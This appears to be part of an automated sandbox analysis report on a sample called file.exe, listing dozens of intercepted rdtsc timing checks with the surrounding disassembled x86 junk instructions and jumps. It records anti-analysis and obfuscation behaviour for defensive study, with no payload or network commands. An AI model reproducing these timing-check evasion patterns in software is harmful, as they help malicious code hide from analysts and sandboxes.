Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15657 second address: B1565D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1565D second address: B15661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15661 second address: B15665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15665 second address: B15671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15AB1 second address: B15AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15AB5 second address: B15ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15C3B second address: B15C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8B853A6503h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15DBC second address: B15DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D982h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160A1 second address: B160AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160AB second address: B160B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160B1 second address: B160B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160B5 second address: B160DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8B8538D981h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8B8538D97Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160DB second address: B160F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A6504h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160F3 second address: B16100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16511 second address: B16515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14D0E second address: B14D31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8B8538D983h 0x0000000f jnc 00007F8B8538D976h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E17 second address: B19E3A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B853A64F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8B853A6505h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3896 second address: AA38A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F150 second address: B1F154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F154 second address: B1F158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F158 second address: B1F15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F584 second address: B1F588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EBCF second address: B1EBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F877 second address: B1F87D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1FE1F second address: B1FE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8B853A64F6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1FE2E second address: B1FE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A18 second address: B23A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A1D second address: B23A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A23 second address: B23A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B853A64FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23A31 second address: B23A3B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B8538D976h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27E0F second address: B27E2B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8B853A64F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jns 00007F8B853A64F6h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F8B853A64F6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27E2B second address: B27E2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE935A second address: AE936B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B853A64FCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98E1 second address: AE98E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98E5 second address: AE9904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B853A6503h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9904 second address: AE990A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE99C7 second address: AE99D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F8B853A64F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B9F second address: AE9BA9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B8538D976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9BA9 second address: AE9BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8B853A64FEh 0x00000010 ja 00007F8B853A64F8h 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 jo 00007F8B853A6504h 0x0000001f pushad 0x00000020 jns 00007F8B853A64F6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA552 second address: AEA565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D97Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA565 second address: AEA58D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A6503h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F8B853A64F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA641 second address: AEA6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F8B8538D978h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D1C75h] 0x00000029 lea eax, dword ptr [ebp+1247B157h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F8B8538D978h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 push eax 0x0000004a push eax 0x0000004b mov dword ptr [ebp+122D22B0h], edi 0x00000051 pop edi 0x00000052 pop edi 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push edi 0x00000057 push eax 0x00000058 pop eax 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26FCB second address: B26FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BF50 second address: B2BF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8B8538D986h 0x0000000a jmp 00007F8B8538D984h 0x0000000f jmp 00007F8B8538D980h 0x00000014 popad 0x00000015 popad 0x00000016 jp 00007F8B8538D996h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BF9B second address: B2BFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BFA1 second address: B2BFB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C0D2 second address: B2C0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8B853A64F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C0DC second address: B2C0E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E239 second address: B2E23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E23F second address: B2E246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E246 second address: B2E250 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8B853A64FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E404 second address: B2E411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F8B8538D978h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E411 second address: B2E417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E417 second address: B2E41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E41D second address: B2E421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B322C6 second address: B322E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8B8538D988h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B322E3 second address: B32313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FFh 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F8B853A64F6h 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a jmp 00007F8B853A64FBh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31A11 second address: B31A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31CBC second address: B31CC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31CC5 second address: B31CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31CCA second address: B31CD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jnc 00007F8B853A64F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31FC7 second address: B31FD0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31FD0 second address: B31FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8B853A64F6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31FDB second address: B31FE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35F5A second address: B35F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35F60 second address: B35F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8B8538D983h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F8B8538D98Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35F9A second address: B35FA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36226 second address: B3624C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 jmp 00007F8B8538D982h 0x0000000c pushad 0x0000000d jmp 00007F8B8538D97Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B363D4 second address: B363D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B363D8 second address: B363F8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B8538D976h 0x00000008 jmp 00007F8B8538D986h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B363F8 second address: B36402 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B853A64FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36510 second address: B36516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36516 second address: B3651A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3651A second address: B3651E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B367B9 second address: B367D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8B853A6503h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B367D7 second address: B367E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C4C8 second address: B3C4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B853A64F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3ADBD second address: B3ADC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3ADC3 second address: B3ADC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B499 second address: B3B49D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C133 second address: B3C15D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8B853A6503h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C15D second address: B3C18F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8B8538D981h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8B8538D989h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C18F second address: B3C1A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F8B853A64FAh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B417DB second address: B417E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B417E7 second address: B41803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B853A64FDh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jl 00007F8B853A64F8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41C42 second address: B41C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41F85 second address: B41F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41F8E second address: B41FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F8B8538D976h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41FA0 second address: B41FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42B25 second address: B42B73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Fh 0x00000007 jmp 00007F8B8538D97Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F8B8538D983h 0x00000014 jg 00007F8B8538D982h 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007F8B8538D976h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42E13 second address: B42E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42E17 second address: B42E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8B8538D986h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47657 second address: B47685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jns 00007F8B853A6502h 0x0000000d popad 0x0000000e jl 00007F8B853A6525h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8B853A64FCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B477F8 second address: B4780B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8B8538D976h 0x0000000a popad 0x0000000b jl 00007F8B8538D97Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4780B second address: B4780F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4780F second address: B4781A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8B8538D976h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4781A second address: B47845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jp 00007F8B853A64F6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8B853A64FFh 0x0000001b jno 00007F8B853A64F6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47845 second address: B47849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47849 second address: B47878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F8B853A64F6h 0x0000000d jnl 00007F8B853A64F6h 0x00000013 pushad 0x00000014 popad 0x00000015 jbe 00007F8B853A64F6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8B853A64FBh 0x00000023 jne 00007F8B853A64F6h 0x00000029 rdtsc
